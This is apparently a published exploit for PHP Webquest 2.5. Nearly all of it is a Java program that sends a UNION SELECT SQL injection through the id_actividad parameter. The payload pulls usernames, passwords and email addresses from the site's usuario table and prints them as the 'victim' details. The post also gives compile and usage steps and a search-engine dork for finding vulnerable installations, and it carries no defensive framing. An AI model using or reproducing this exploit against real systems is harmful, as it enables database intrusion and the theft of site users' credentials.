PHP Webquest <= 2.5 (id_actividad) Remote SQL Injection Exploit

                                                /*
 * script name        : phpwebquest
 * script version  : 2.5
 * script website  : http://phpwebquest.org
 * Bug Finder      : D4real_TeaM ('unkn0wnX','n3t-mapper','ToxiC350');
 * injected file   : webquest/soporte_derecha_w.php
 * Variable        : id_actividad
 * Contact         : n3t-mapp3r [At] hotmail [dot] com,is14m [At] hotmail [dot] com,ushermehdi350 [At] hotmail [dot] com
 *
 * Usage:
 *         First you must have a JDK 1.4 or more to compile the code
 *         Compiling: javac -nowarn -g:none SqInjection.java
 *         Usage: java SqInjection host_name /path/to/script/
 * Dork : inurl:/webquest/soporte_derecha_w.php?
 *
 * GreetZ : s4udi-s3curity-terror, Spy-Boy, R3mix-boY, Dchach-X, DiaboliC4, j4v4k, Hitch4w4, Und34d and all Moroccan,arab hackerS
 * Sp.Greetz : s0crateX ;)
 */


import java.io.*;
import java.net.* ;
public class SqInjection {

    public static void main(String[] argv) {
        Socket lhlawa;
        String hName,tra9,bachT3tih=" union select 1,1,1,1,concat(usuario,0x3a,password,0x3a,e_mail) from usuario";
        int lmarsa=80;
        BufferedReader _______dakhl;PrintWriter _______kharj;
        if(argv.length!=2){
            System.out.println("Error: args not properly defined");
            System.exit (-1);
        }
        String zgawa[]=argv[0].split(":");
        if(zgawa.length==2){
            hName=zgawa[0];
            try{
                lmarsa=Integer.parseInt(zgawa[1]);
            }catch(NumberFormatException ex){
                System.out.println("Error: Invalid Port");System.exit(0);
            }
        }else{
            hName=argv[0];
        }
        tra9=argv[1];
        System.out.print("Connecing to: "+hName);
        try{
            lhlawa=new Socket(hName,lmarsa);
            System.out.println("\t\t[ OK ]");
            String in3alBoh="",taya7Jdo="GET /"+tra9+"/webquest/soporte_derecha_w.php?id_actividad=-1"+URLEncoder.encode(bachT3tih)+"/* HTTP/1.1\n";
            taya7Jdo+="Host: "+hName+"\n";
            taya7Jdo+="Connection: Close\n\n";
            _______kharj=new PrintWriter(lhlawa.getOutputStream());
            _______dakhl=new BufferedReader(new InputStreamReader( lhlawa.getInputStream()));
            _______kharj.print(taya7Jdo);
            _______kharj.flush();
            String line=_______dakhl.readLine();
            if(line.equalsIgnoreCase("HTTP/1.1 200 OK")==false){
                System.out.println("Error:Invalid HTTP protocol");System.exit(0);
            }
            boolean ok=false;
            while((line=_______dakhl.readLine())!=null){
                if(ok==false){
                    if(line.length()==0)
                        {ok=true;
                        }
                }
                else in3alBoh+=line+"\n";   
            }
            _______kharj.close();
            _______dakhl.close();
            parseData(in3alBoh);
        }catch(IOException ex){
            System.out.println("\nSocket Error program will exit");
            System.exit(0);
        }
    }
    private static void parseData(String haHwaJay){
        String uName,passwd,mail,tmp[];
        tmp=haHwaJay.split("\n");
        for(int i=0;i<tmp.length;i++)
        {
            if(tmp[i].trim().startsWith("<td width=\"97%\">"))
            {
                String safiTa7=tmp[i].trim().substring(16,tmp[i].trim().length()-4);
                tmp=safiTa7.split (":");
                break;
            }
        }
        uName=tmp[0];passwd=tmp[1];mail=tmp[2];
        System.out.println("*************************** Informations about the victim ***************************");
        System.out.println("User Name: "+uName+"\nPassword: "+passwd+"\nVictimz mail: "+mail);
    }
}